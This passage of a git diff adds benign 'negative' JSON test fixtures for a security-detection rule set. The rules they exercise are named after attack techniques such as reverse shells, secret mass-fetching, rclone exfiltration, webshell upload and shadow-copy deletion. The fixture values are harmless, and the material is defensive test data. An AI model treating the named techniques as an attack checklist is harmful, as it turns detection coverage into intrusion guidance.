false,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/login-during-incident.json b/detections/fixtures/negative/login-during-incident.jsonnew file mode 100644index 000000000..aef97d3b8--- /dev/null+++ b/detections/fixtures/negative/login-during-incident.json@@ -0,0 +1,7 @@+{+ "active_p0_or_p1_incident": false,+ "event_type": "user.session.start",+ "outcome": "SUCCESS",+ "user": "[email protected]",+ "user_role": "marketing"+}diff --git a/detections/fixtures/negative/login-from-foreign-country.json b/detections/fixtures/negative/login-from-foreign-country.jsonnew file mode 100644index 000000000..41d11c896--- /dev/null+++ b/detections/fixtures/negative/login-from-foreign-country.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "outcome": "SUCCESS",+ "src_country": "US",+ "src_country_not_in_allowlist": false,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/login-outside-business-hours.json b/detections/fixtures/negative/login-outside-business-hours.jsonnew file mode 100644index 000000000..678d9d3c9--- /dev/null+++ b/detections/fixtures/negative/login-outside-business-hours.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "hour_of_day_local": 10,+ "outcome": "SUCCESS",+ "user": "[email protected]",+ "user_role": "admin"+}diff --git a/detections/fixtures/negative/lolbas-execution.json b/detections/fixtures/negative/lolbas-execution.jsonnew file mode 100644index 000000000..198312688--- /dev/null+++ b/detections/fixtures/negative/lolbas-execution.json@@ -0,0 +1,5 @@+{+ "command_line": "certutil.exe -hashfile foo.txt SHA256",+ "host": "wks-001",+ "image_basename": "certutil.exe"+}diff --git a/detections/fixtures/negative/macos-codesign-bypass.json b/detections/fixtures/negative/macos-codesign-bypass.jsonnew file mode 100644index 000000000..e9599089d--- /dev/null+++ b/detections/fixtures/negative/macos-codesign-bypass.json@@ -0,0 +1,5 @@+{+ "command_line": "xattr -l /tmp/file.zip",+ "host": "mac-01",+ "image_basename": "xattr"+}diff --git a/detections/fixtures/negative/macos-gatekeeper-disabled.json b/detections/fixtures/negative/macos-gatekeeper-disabled.jsonnew file mode 100644index 000000000..37581a5f5--- /dev/null+++ b/detections/fixtures/negative/macos-gatekeeper-disabled.json@@ -0,0 +1,5 @@+{+ "command_line": "spctl --status",+ "host": "mac-01",+ "image_basename": "spctl"+}diff --git a/detections/fixtures/negative/macos-launchagent-write.json b/detections/fixtures/negative/macos-launchagent-write.jsonnew file mode 100644index 000000000..955eeb66a--- /dev/null+++ b/detections/fixtures/negative/macos-launchagent-write.json@@ -0,0 +1,5 @@+{+ "event_type": "ES_EVENT_TYPE_NOTIFY_CREATE",+ "file_path": "/Users/alice/Documents/notes.txt",+ "host": "mac-01"+}diff --git a/detections/fixtures/negative/macos-osascript-spawn.json b/detections/fixtures/negative/macos-osascript-spawn.jsonnew file mode 100644index 000000000..d141f0f6d--- /dev/null+++ b/detections/fixtures/negative/macos-osascript-spawn.json@@ -0,0 +1,5 @@+{+ "command_line": "osascript -e 'tell application \"Calendar\" to activate'",+ "host": "mac-01",+ "image_basename": "osascript"+}diff --git a/detections/fixtures/negative/macos-tcc-bypass-attempt.json b/detections/fixtures/negative/macos-tcc-bypass-attempt.jsonnew file mode 100644index 000000000..ff3e8f38f--- /dev/null+++ b/detections/fixtures/negative/macos-tcc-bypass-attempt.json@@ -0,0 +1,5 @@+{+ "command_line": "sqlite3 ~/notes.db",+ "host": "mac-01",+ "image_basename": "sqlite3"+}diff --git a/detections/fixtures/negative/mfa-bypass-policy-change.json b/detections/fixtures/negative/mfa-bypass-policy-change.jsonnew file mode 100644index 000000000..67f08a673--- /dev/null+++ b/detections/fixtures/negative/mfa-bypass-policy-change.json@@ -0,0 +1,5 @@+{+ "event_type": "policy.lifecycle.update",+ "policy_change_field": "session_timeout:8h",+ "policy_name": "all-employees"+}diff --git a/detections/fixtures/negative/mfa-fatigue.json b/detections/fixtures/negative/mfa-fatigue.jsonnew file mode 100644index 000000000..5cafd2912--- /dev/null+++ b/detections/fixtures/negative/mfa-fatigue.json@@ -0,0 +1,6 @@+{+ "event_type": "user.mfa.factor.push",+ "mfa_push_count": 2,+ "time_window_minutes": 5,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/newly-registered-domain-traffic.json b/detections/fixtures/negative/newly-registered-domain-traffic.jsonnew file mode 100644index 000000000..7fb05efb8--- /dev/null+++ b/detections/fixtures/negative/newly-registered-domain-traffic.json@@ -0,0 +1,6 @@+{+ "domain": "google.com",+ "domain_age_days": 365,+ "host": "wks-001",+ "method": "GET"+}diff --git a/detections/fixtures/negative/ntp-amplification.json b/detections/fixtures/negative/ntp-amplification.jsonnew file mode 100644index 000000000..aca819197--- /dev/null+++ b/detections/fixtures/negative/ntp-amplification.json@@ -0,0 +1,8 @@+{+ "dst_port": 123,+ "ntp_command": "version",+ "protocol": "UDP",+ "src_ip": "10.0.5.7",+ "src_ip_class": "internal",+ "src_port": 123+}diff --git a/detections/fixtures/negative/oauth-broad-scope-grant.json b/detections/fixtures/negative/oauth-broad-scope-grant.jsonnew file mode 100644index 000000000..92838840d--- /dev/null+++ b/detections/fixtures/negative/oauth-broad-scope-grant.json@@ -0,0 +1,8 @@+{+ "app": "thirdparty-importer",+ "event_type": "oauth.token.grant",+ "scope_set": [+ "calendar.read"+ ],+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/off-hours-bulk-download.json b/detections/fixtures/negative/off-hours-bulk-download.jsonnew file mode 100644index 000000000..a9588b5c4--- /dev/null+++ b/detections/fixtures/negative/off-hours-bulk-download.json@@ -0,0 +1,5 @@+{+ "bytes_out": 100000000,+ "hour_of_day_local": 11,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/office-spawn-shell.json b/detections/fixtures/negative/office-spawn-shell.jsonnew file mode 100644index 000000000..01c1a2ccc--- /dev/null+++ b/detections/fixtures/negative/office-spawn-shell.json@@ -0,0 +1,5 @@+{+ "host": "wks-001",+ "image_basename": "splwow64.exe",+ "parent_image_basename": "winword.exe"+}diff --git a/detections/fixtures/negative/open-redirect.json b/detections/fixtures/negative/open-redirect.jsonnew file mode 100644index 000000000..e65d0f177--- /dev/null+++ b/detections/fixtures/negative/open-redirect.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/login?next=/dashboard"+}diff --git a/detections/fixtures/negative/outbound-clear-text-protocol.json b/detections/fixtures/negative/outbound-clear-text-protocol.jsonnew file mode 100644index 000000000..41b9cc13c--- /dev/null+++ b/detections/fixtures/negative/outbound-clear-text-protocol.json@@ -0,0 +1,6 @@+{+ "dst_ip": "203.0.113.7",+ "dst_port": 22,+ "protocol": "TCP",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/outbound-paste-public.json b/detections/fixtures/negative/outbound-paste-public.jsonnew file mode 100644index 000000000..8414cfb54--- /dev/null+++ b/detections/fixtures/negative/outbound-paste-public.json@@ -0,0 +1,7 @@+{+ "bytes_out": 50000,+ "dst_host": "company-internal.com",+ "dst_in_paste_list": false,+ "method": "POST",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/p2p-protocol-on-corp-net.json b/detections/fixtures/negative/p2p-protocol-on-corp-net.jsonnew file mode 100644index 000000000..ed7b3d769--- /dev/null+++ b/detections/fixtures/negative/p2p-protocol-on-corp-net.json@@ -0,0 +1,4 @@+{+ "protocol_app": "https",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/password-reset-out-of-hours.json b/detections/fixtures/negative/password-reset-out-of-hours.jsonnew file mode 100644index 000000000..a83f21847--- /dev/null+++ b/detections/fixtures/negative/password-reset-out-of-hours.json@@ -0,0 +1,6 @@+{+ "event_type": "user.account.reset_password",+ "hour_of_day_local": 11,+ "user": "[email protected]",+ "user_role": "admin"+}diff --git a/detections/fixtures/negative/password-spray.json b/detections/fixtures/negative/password-spray.jsonnew file mode 100644index 000000000..aad7dcacb--- /dev/null+++ b/detections/fixtures/negative/password-spray.json@@ -0,0 +1,7 @@+{+ "distinct_users_per_ip": 1,+ "event_type": "user.session.start",+ "outcome": "FAILURE",+ "src_ip": "10.0.0.5",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/path-traversal.json b/detections/fixtures/negative/path-traversal.jsonnew file mode 100644index 000000000..edd0d5b0c--- /dev/null+++ b/detections/fixtures/negative/path-traversal.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/files?name=invoice-2026.pdf"+}diff --git a/detections/fixtures/negative/phishing-attachment-double-extension.json b/detections/fixtures/negative/phishing-attachment-double-extension.jsonnew file mode 100644index 000000000..19b79b321--- /dev/null+++ b/detections/fixtures/negative/phishing-attachment-double-extension.json@@ -0,0 +1,4 @@+{+ "attachment_filename": "Invoice.pdf",+ "to": "[email protected]"+}diff --git a/detections/fixtures/negative/phishing-ms365-impersonation.json b/detections/fixtures/negative/phishing-ms365-impersonation.jsonnew file mode 100644index 000000000..5a4f8805f--- /dev/null+++ b/detections/fixtures/negative/phishing-ms365-impersonation.json@@ -0,0 +1,5 @@+{+ "to": "[email protected]",+ "url": "https://corp.sharepoint.com/share/abc",+ "url_brand_impersonation": null+}diff --git a/detections/fixtures/negative/port-scan-internal.json b/detections/fixtures/negative/port-scan-internal.jsonnew file mode 100644index 000000000..cb99f68d0--- /dev/null+++ b/detections/fixtures/negative/port-scan-internal.json@@ -0,0 +1,6 @@+{+ "distinct_dst_per_src": 1,+ "distinct_ports_per_src": 3,+ "src_ip": "10.0.5.7",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/powershell-encoded-command.json b/detections/fixtures/negative/powershell-encoded-command.jsonnew file mode 100644index 000000000..fcc3fd558--- /dev/null+++ b/detections/fixtures/negative/powershell-encoded-command.json@@ -0,0 +1,5 @@+{+ "command_line": "powershell.exe -ExecutionPolicy AllSigned -File C:\\scripts\\ok.ps1",+ "host": "wks-001",+ "image_basename": "powershell.exe"+}diff --git a/detections/fixtures/negative/printer-mass-print-confidential.json b/detections/fixtures/negative/printer-mass-print-confidential.jsonnew file mode 100644index 000000000..62b76fded--- /dev/null+++ b/detections/fixtures/negative/printer-mass-print-confidential.json@@ -0,0 +1,7 @@+{+ "doc_classification": "confidential",+ "event_id": 307,+ "page_count_per_user": 5,+ "time_window_hours": 24,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/privileged-role-assignment.json b/detections/fixtures/negative/privileged-role-assignment.jsonnew file mode 100644index 000000000..bfa619fd2--- /dev/null+++ b/detections/fixtures/negative/privileged-role-assignment.json@@ -0,0 +1,5 @@+{+ "event_type": "user.role.add",+ "role_name": "viewer",+ "target_user": "[email protected]"+}diff --git a/detections/fixtures/negative/process-injection-cross-process-thread.json b/detections/fixtures/negative/process-injection-cross-process-thread.jsonnew file mode 100644index 000000000..92c6a6d48--- /dev/null+++ b/detections/fixtures/negative/process-injection-cross-process-thread.json@@ -0,0 +1,7 @@+{+ "event_type": "CreateRemoteThread",+ "host": "wks-001",+ "source_image_basename": "MsMpEng.exe",+ "source_image_basename_not_in_allowlist": false,+ "target_image_basename": "explorer.exe"+}diff --git a/detections/fixtures/negative/psexec-style-binary-write-admin-share.json b/detections/fixtures/negative/psexec-style-binary-write-admin-share.jsonnew file mode 100644index 000000000..3a333e3f4--- /dev/null+++ b/detections/fixtures/negative/psexec-style-binary-write-admin-share.json@@ -0,0 +1,6 @@+{+ "event_type": "FileCreate",+ "file_path": "C:\\Users\\user\\Documents\\report.docx",+ "host": "wks-001",+ "image_basename_creator": "winword.exe"+}diff --git a/detections/fixtures/negative/ransomware-file-extension-change.json b/detections/fixtures/negative/ransomware-file-extension-change.jsonnew file mode 100644index 000000000..fd8698373--- /dev/null+++ b/detections/fixtures/negative/ransomware-file-extension-change.json@@ -0,0 +1,7 @@+{+ "extension_change_pattern": "to-known-archive",+ "host": "wks-001",+ "process": "7z.exe",+ "rename_count_per_process": 5,+ "time_window_minutes": 30+}diff --git a/detections/fixtures/negative/rate-limit-burst.json b/detections/fixtures/negative/rate-limit-burst.jsonnew file mode 100644index 000000000..6a74a1e0b--- /dev/null+++ b/detections/fixtures/negative/rate-limit-burst.json@@ -0,0 +1,7 @@+{+ "method": "POST",+ "request_count_per_src": 5,+ "request_uri": "/login",+ "src_ip": "10.0.5.7",+ "time_window_minutes": 30+}diff --git a/detections/fixtures/negative/rbac-cluster-admin-binding.json b/detections/fixtures/negative/rbac-cluster-admin-binding.jsonnew file mode 100644index 000000000..a47a9872a--- /dev/null+++ b/detections/fixtures/negative/rbac-cluster-admin-binding.json@@ -0,0 +1,6 @@+{+ "object_resource": "clusterrolebindings",+ "role_ref": "view",+ "subject": "[email protected]",+ "verb": "create"+}diff --git a/detections/fixtures/negative/rclone-process-on-host.json b/detections/fixtures/negative/rclone-process-on-host.jsonnew file mode 100644index 000000000..edae34cd9--- /dev/null+++ b/detections/fixtures/negative/rclone-process-on-host.json@@ -0,0 +1,4 @@+{+ "host": "wks-001",+ "image_basename": "robocopy.exe"+}diff --git a/detections/fixtures/negative/rdp-from-internet.json b/detections/fixtures/negative/rdp-from-internet.jsonnew file mode 100644index 000000000..3e0a10035--- /dev/null+++ b/detections/fixtures/negative/rdp-from-internet.json@@ -0,0 +1,7 @@+{+ "dst_ip": "10.0.5.7",+ "dst_ip_class": "internal",+ "dst_port": 443,+ "src_ip": "203.0.113.7",+ "src_ip_class": "internet"+}diff --git a/detections/fixtures/negative/rdp-screen-takeover.json b/detections/fixtures/negative/rdp-screen-takeover.jsonnew file mode 100644index 000000000..a783a0f71--- /dev/null+++ b/detections/fixtures/negative/rdp-screen-takeover.json@@ -0,0 +1,6 @@+{+ "concurrent_console_session": false,+ "event_id": 4624,+ "host": "wks-001",+ "logon_type": 10+}diff --git a/detections/fixtures/negative/rdp-tickling.json b/detections/fixtures/negative/rdp-tickling.jsonnew file mode 100644index 000000000..c51158128--- /dev/null+++ b/detections/fixtures/negative/rdp-tickling.json@@ -0,0 +1,7 @@+{+ "dst_ip": "203.0.113.7",+ "dst_ip_class": "internet",+ "dst_port": 443,+ "src_host": "wks-001",+ "src_role": "workstation"+}diff --git a/detections/fixtures/negative/registry-runkey-write.json b/detections/fixtures/negative/registry-runkey-write.jsonnew file mode 100644index 000000000..bec01bd09--- /dev/null+++ b/detections/fixtures/negative/registry-runkey-write.json@@ -0,0 +1,5 @@+{+ "event_type": "RegistryValueSet",+ "host": "wks-001",+ "registry_path": "HKCU\\Software\\Microsoft\\Office\\Common\\Settings"+}diff --git a/detections/fixtures/negative/remote-image-load-from-share.json b/detections/fixtures/negative/remote-image-load-from-share.jsonnew file mode 100644index 000000000..22128660f--- /dev/null+++ b/detections/fixtures/negative/remote-image-load-from-share.json@@ -0,0 +1,5 @@+{+ "event_type": "ImageLoad",+ "host": "wks-001",+ "image_loaded_path": "C:\\Windows\\System32\\kernel32.dll"+}diff --git a/detections/fixtures/negative/reverse-shell-bash.json b/detections/fixtures/negative/reverse-shell-bash.jsonnew file mode 100644index 000000000..55cb34195--- /dev/null+++ b/detections/fixtures/negative/reverse-shell-bash.json@@ -0,0 +1,5 @@+{+ "command_line": "bash -c 'echo hello'",+ "host": "linux-01",+ "image_basename": "bash"+}diff --git a/detections/fixtures/negative/rmm-tool-install.json b/detections/fixtures/negative/rmm-tool-install.jsonnew file mode 100644index 000000000..77b0a2e2a--- /dev/null+++ b/detections/fixtures/negative/rmm-tool-install.json@@ -0,0 +1,5 @@+{+ "host": "wks-001",+ "image_basename": "TeamViewer.exe",+ "image_basename_in_allowlist": true+}diff --git a/detections/fixtures/negative/root-ssh-login.json b/detections/fixtures/negative/root-ssh-login.jsonnew file mode 100644index 000000000..daa515251--- /dev/null+++ b/detections/fixtures/negative/root-ssh-login.json@@ -0,0 +1,6 @@+{+ "event_type": "ssh-accept",+ "host": "db-prod-01",+ "host_role": "production",+ "user": "deploy"+}diff --git a/detections/fixtures/negative/saas-app-installed.json b/detections/fixtures/negative/saas-app-installed.jsonnew file mode 100644index 000000000..c1ffd4395--- /dev/null+++ b/detections/fixtures/negative/saas-app-installed.json@@ -0,0 +1,8 @@+{+ "actor": "[email protected]",+ "app": "calendar-helper",+ "event_type": "marketplace.app.installed",+ "scope_set": [+ "calendar.read"+ ]+}diff --git a/detections/fixtures/negative/saas-mass-share-public.json b/detections/fixtures/negative/saas-mass-share-public.jsonnew file mode 100644index 000000000..1fa96d488--- /dev/null+++ b/detections/fixtures/negative/saas-mass-share-public.json@@ -0,0 +1,7 @@+{+ "event_type": "drive.acl.change",+ "file_count_per_user": 3,+ "share_visibility": "domain-internal",+ "time_window_minutes": 60,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/salesforce-bulk-export.json b/detections/fixtures/negative/salesforce-bulk-export.jsonnew file mode 100644index 000000000..f68ae4c98--- /dev/null+++ b/detections/fixtures/negative/salesforce-bulk-export.json@@ -0,0 +1,6 @@+{+ "actor": "[email protected]",+ "actor_in_export_allowlist": true,+ "event_type": "DataExport",+ "row_count": 200+}diff --git a/detections/fixtures/negative/saml-response-anomaly.json b/detections/fixtures/negative/saml-response-anomaly.jsonnew file mode 100644index 000000000..abfc1e141--- /dev/null+++ b/detections/fixtures/negative/saml-response-anomaly.json@@ -0,0 +1,6 @@+{+ "event_type": "user.authentication.sso",+ "issuer_valid": true,+ "notbefore_in_future": false,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/scheduled-task-create-suspicious.json b/detections/fixtures/negative/scheduled-task-create-suspicious.jsonnew file mode 100644index 000000000..92877f7ab--- /dev/null+++ b/detections/fixtures/negative/scheduled-task-create-suspicious.json@@ -0,0 +1,5 @@+{+ "event_type": "ScheduledTaskCreate",+ "host": "wks-001",+ "task_command_path": "C:\\Program Files\\Updater\\update.exe"+}diff --git a/detections/fixtures/negative/screen-capture-tool.json b/detections/fixtures/negative/screen-capture-tool.jsonnew file mode 100644index 000000000..db6742d4d--- /dev/null+++ b/detections/fixtures/negative/screen-capture-tool.json@@ -0,0 +1,5 @@+{+ "host": "wks-001",+ "host_role": "general",+ "image_basename": "snippingtool.exe"+}diff --git a/detections/fixtures/negative/secrets-mass-fetch.json b/detections/fixtures/negative/secrets-mass-fetch.jsonnew file mode 100644index 000000000..177892847--- /dev/null+++ b/detections/fixtures/negative/secrets-mass-fetch.json@@ -0,0 +1,7 @@+{+ "event_type": "GetSecretValue",+ "principal": "deploy-bot",+ "principal_type": "service",+ "secret_count_per_principal": 60,+ "time_window_minutes": 4+}diff --git a/detections/fixtures/negative/self-password-reset-admin.json b/detections/fixtures/negative/self-password-reset-admin.jsonnew file mode 100644index 000000000..cc6a150d0--- /dev/null+++ b/detections/fixtures/negative/self-password-reset-admin.json@@ -0,0 +1,6 @@+{+ "event_type": "user.account.reset_password",+ "reset_method": "helpdesk-assisted",+ "user": "[email protected]",+ "user_role": "admin"+}diff --git a/detections/fixtures/negative/service-account-interactive-login.json b/detections/fixtures/negative/service-account-interactive-login.jsonnew file mode 100644index 000000000..b3d187d89--- /dev/null+++ b/detections/fixtures/negative/service-account-interactive-login.json@@ -0,0 +1,6 @@+{+ "event_type": "user.session.start",+ "session_type": "machine",+ "user": "deploy-bot",+ "user_type": "service_account"+}diff --git a/detections/fixtures/negative/service-install-binary-suspicious.json b/detections/fixtures/negative/service-install-binary-suspicious.jsonnew file mode 100644index 000000000..eb35dbd35--- /dev/null+++ b/detections/fixtures/negative/service-install-binary-suspicious.json@@ -0,0 +1,5 @@+{+ "event_id": 7045,+ "host": "wks-001",+ "service_path": "C:\\Program Files\\Vendor\\agent.exe"+}diff --git a/detections/fixtures/negative/shadow-copy-deletion.json b/detections/fixtures/negative/shadow-copy-deletion.jsonnew file mode 100644index 000000000..39c741ffd--- /dev/null+++ b/detections/fixtures/negative/shadow-copy-deletion.json@@ -0,0 +1,5 @@+{+ "command_line": "vssadmin.exe list shadows",+ "host": "wks-001",+ "image_basename": "vssadmin.exe"+}diff --git a/detections/fixtures/negative/shared-account-login-spike.json b/detections/fixtures/negative/shared-account-login-spike.jsonnew file mode 100644index 000000000..0d6fd333f--- /dev/null+++ b/detections/fixtures/negative/shared-account-login-spike.json@@ -0,0 +1,6 @@+{+ "distinct_ip_count_per_user": 1,+ "event_type": "user.session.start",+ "time_window_minutes": 60,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/shell-from-web-server.json b/detections/fixtures/negative/shell-from-web-server.jsonnew file mode 100644index 000000000..20a269f62--- /dev/null+++ b/detections/fixtures/negative/shell-from-web-server.json@@ -0,0 +1,5 @@+{+ "host": "web-01",+ "image_basename": "bash",+ "parent_image_basename": "systemd"+}diff --git a/detections/fixtures/negative/silver-ticket.json b/detections/fixtures/negative/silver-ticket.jsonnew file mode 100644index 000000000..6298afc86--- /dev/null+++ b/detections/fixtures/negative/silver-ticket.json@@ -0,0 +1,6 @@+{+ "event_id": 4624,+ "logon_type": 3,+ "tgs_event_seen": true,+ "user": "service-account"+}diff --git a/detections/fixtures/negative/slack-token-exposed.json b/detections/fixtures/negative/slack-token-exposed.jsonnew file mode 100644index 000000000..e5568411f--- /dev/null+++ b/detections/fixtures/negative/slack-token-exposed.json@@ -0,0 +1,6 @@+{+ "channel": "#general",+ "channel_visibility": "public",+ "event_type": "message.posted",+ "message_text": "morning standup notes attached"+}diff --git a/detections/fixtures/negative/smb-lateral-movement.json b/detections/fixtures/negative/smb-lateral-movement.jsonnew file mode 100644index 000000000..7b8d03e9c--- /dev/null+++ b/detections/fixtures/negative/smb-lateral-movement.json@@ -0,0 +1,7 @@+{+ "distinct_dst_per_src": 1,+ "event_id": 5145,+ "share_name": "Public",+ "src": "[email protected]",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/smb-null-session.json b/detections/fixtures/negative/smb-null-session.jsonnew file mode 100644index 000000000..d36d6df1e--- /dev/null+++ b/detections/fixtures/negative/smb-null-session.json@@ -0,0 +1,7 @@+{+ "auth_package": "Kerberos",+ "event_id": 4624,+ "logon_type": 3,+ "src_ip": "10.0.5.7",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/smb-signing-disabled-auth.json b/detections/fixtures/negative/smb-signing-disabled-auth.jsonnew file mode 100644index 000000000..d910e382d--- /dev/null+++ b/detections/fixtures/negative/smb-signing-disabled-auth.json@@ -0,0 +1,6 @@+{+ "dst_ip": "10.0.5.10",+ "event_id": 5158,+ "smb_signing_enabled": true,+ "src_ip": "10.0.5.7"+}diff --git a/detections/fixtures/negative/snmp-public-community-internet.json b/detections/fixtures/negative/snmp-public-community-internet.jsonnew file mode 100644index 000000000..10a7094ea--- /dev/null+++ b/detections/fixtures/negative/snmp-public-community-internet.json@@ -0,0 +1,7 @@+{+ "dst_port": 161,+ "protocol": "UDP",+ "snmp_community": "secured-string",+ "src_ip": "10.0.5.7",+ "src_ip_class": "internal"+}diff --git a/detections/fixtures/negative/snowflake-mass-export.json b/detections/fixtures/negative/snowflake-mass-export.jsonnew file mode 100644index 000000000..068a90a9a--- /dev/null+++ b/detections/fixtures/negative/snowflake-mass-export.json@@ -0,0 +1,7 @@+{+ "event_type": "QUERY",+ "query": "SELECT * FROM CUSTOMER",+ "rows_produced": 1000000,+ "user": "etl-svc",+ "user_type": "service"+}diff --git a/detections/fixtures/negative/sql-injection-attempt.json b/detections/fixtures/negative/sql-injection-attempt.jsonnew file mode 100644index 000000000..57bf4e028--- /dev/null+++ b/detections/fixtures/negative/sql-injection-attempt.json@@ -0,0 +1,4 @@+{+ "host": "store.corp.com",+ "request_uri": "/products?id=42"+}diff --git a/detections/fixtures/negative/ssh-failed-from-internet.json b/detections/fixtures/negative/ssh-failed-from-internet.jsonnew file mode 100644index 000000000..3eec4b510--- /dev/null+++ b/detections/fixtures/negative/ssh-failed-from-internet.json@@ -0,0 +1,8 @@+{+ "event_type": "ssh-accept",+ "fail_count": 1,+ "outcome": "SUCCESS",+ "src_ip": "10.0.5.7",+ "src_ip_class": "internal",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/ssh-key-added-authorized.json b/detections/fixtures/negative/ssh-key-added-authorized.jsonnew file mode 100644index 000000000..9c9192ab8--- /dev/null+++ b/detections/fixtures/negative/ssh-key-added-authorized.json@@ -0,0 +1,6 @@+{+ "actor": "user",+ "event_type": "PATH",+ "file_path": "/home/user/.bashrc",+ "host": "linux-01"+}diff --git a/detections/fixtures/negative/ssrf-attempt.json b/detections/fixtures/negative/ssrf-attempt.jsonnew file mode 100644index 000000000..1ebe1ba2d--- /dev/null+++ b/detections/fixtures/negative/ssrf-attempt.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/proxy?url=http://example.com/"+}diff --git a/detections/fixtures/negative/sudo-no-mfa.json b/detections/fixtures/negative/sudo-no-mfa.jsonnew file mode 100644index 000000000..b5f58ee13--- /dev/null+++ b/detections/fixtures/negative/sudo-no-mfa.json@@ -0,0 +1,6 @@+{+ "event_type": "sudo-use",+ "host": "db-prod-01",+ "mfa_verified": true,+ "user": "user"+}diff --git a/detections/fixtures/negative/suid-binary-creation.json b/detections/fixtures/negative/suid-binary-creation.jsonnew file mode 100644index 000000000..8c2e1ac38--- /dev/null+++ b/detections/fixtures/negative/suid-binary-creation.json@@ -0,0 +1,9 @@+{+ "event_type": "PATH",+ "host": "linux-01",+ "path": "/tmp/notes.txt",+ "permissions": [+ "S_IRUSR",+ "S_IWUSR"+ ]+}diff --git a/detections/fixtures/negative/tls-ja3-anomaly.json b/detections/fixtures/negative/tls-ja3-anomaly.jsonnew file mode 100644index 000000000..c30008d29--- /dev/null+++ b/detections/fixtures/negative/tls-ja3-anomaly.json@@ -0,0 +1,5 @@+{+ "ja3_hash": "good-jA3",+ "ja3_hash_in_threat_intel": false,+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/tls-self-signed-cert-conn.json b/detections/fixtures/negative/tls-self-signed-cert-conn.jsonnew file mode 100644index 000000000..f8409779a--- /dev/null+++ b/detections/fixtures/negative/tls-self-signed-cert-conn.json@@ -0,0 +1,6 @@+{+ "dst_in_allowlist": true,+ "dst_ip": "10.0.5.7",+ "src_host": "wks-001",+ "tls_cert_self_signed": true+}diff --git a/detections/fixtures/negative/token-reuse-new-device.json b/detections/fixtures/negative/token-reuse-new-device.jsonnew file mode 100644index 000000000..ef2a125f4--- /dev/null+++ b/detections/fixtures/negative/token-reuse-new-device.json@@ -0,0 +1,6 @@+{+ "device_fingerprint_seen_before": true,+ "event_type": "user.session.access_token",+ "session_age_hours": 24,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/tor-traffic.json b/detections/fixtures/negative/tor-traffic.jsonnew file mode 100644index 000000000..1901c1714--- /dev/null+++ b/detections/fixtures/negative/tor-traffic.json@@ -0,0 +1,5 @@+{+ "dst_ip": "1.1.1.1",+ "dst_ip_in_tor_list": false,+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/usb-device-mass-storage-attached.json b/detections/fixtures/negative/usb-device-mass-storage-attached.jsonnew file mode 100644index 000000000..f8ab7efb3--- /dev/null+++ b/detections/fixtures/negative/usb-device-mass-storage-attached.json@@ -0,0 +1,6 @@+{+ "device_class": "USB-Keyboard",+ "event_type": "DeviceConnect",+ "host": "finance-01",+ "host_role": "restricted"+}diff --git a/detections/fixtures/negative/user-add-suspicious.json b/detections/fixtures/negative/user-add-suspicious.jsonnew file mode 100644index 000000000..d009c3650--- /dev/null+++ b/detections/fixtures/negative/user-add-suspicious.json@@ -0,0 +1,5 @@+{+ "command_line": "useradd -r -s /usr/sbin/nologin svc-app",+ "event_type": "USER_ADD",+ "host": "linux-01"+}diff --git a/detections/fixtures/negative/user-agent-known-tool.json b/detections/fixtures/negative/user-agent-known-tool.jsonnew file mode 100644index 000000000..72232ef63--- /dev/null+++ b/detections/fixtures/negative/user-agent-known-tool.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"+}diff --git a/detections/fixtures/negative/vpn-large-download-foreign.json b/detections/fixtures/negative/vpn-large-download-foreign.jsonnew file mode 100644index 000000000..f74854b95--- /dev/null+++ b/detections/fixtures/negative/vpn-large-download-foreign.json@@ -0,0 +1,6 @@+{+ "bytes_in": 500000,+ "src_country": "US",+ "src_country_in_allowlist": true,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/webshell-upload.json b/detections/fixtures/negative/webshell-upload.jsonnew file mode 100644index 000000000..ab5daaae8--- /dev/null+++ b/detections/fixtures/negative/webshell-upload.json@@ -0,0 +1,6 @@+{+ "file_extension": ".png",+ "host": "blog.corp.com",+ "method": "POST",+ "request_uri": "/wp-content/uploads/banner.png"+}diff --git a/detections/fixtures/negative/windows-event-log-cleared.json b/detections/fixtures/negative/windows-event-log-cleared.jsonnew file mode 100644index 000000000..258a791f1--- /dev/null+++ b/detections/fixtures/negative/windows-event-log-cleared.json@@ -0,0 +1,5 @@+{+ "event_id": 4624,+ "host": "wks-001",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/wmi-process-creation.json b/detections/fixtures/negative/wmi-process-creation.jsonnew file mode 100644index 000000000..518fe692d--- /dev/null+++ b/detections/fixtures/negative/wmi-process-creation.json@@ -0,0 +1,6 @@+{+ "host": "wks-001",+ "image_basename": "ccmexec.exe",+ "image_basename_in_allowlist": true,+ "parent_image_basename": "wmiprvse.exe"+}diff --git a/detections/fixtures/negative/wmi-remote-execution.json b/detections/fixtures/negative/wmi-remote-execution.jsonnew file mode 100644index 000000000..e17cfe83d--- /dev/null+++ b/detections/fixtures/negative/wmi-remote-execution.json@@ -0,0 +1,6 @@+{+ "event_id": 4688,+ "process_command_line": "wmic process list",+ "src_host": "srv-01",+ "src_role": "server"+}diff --git a/detections/fixtures/negative/xss-attempt.json b/detections/fixtures/negative/xss-attempt.jsonnew file mode 100644index 000000000..2a09a6fca--- 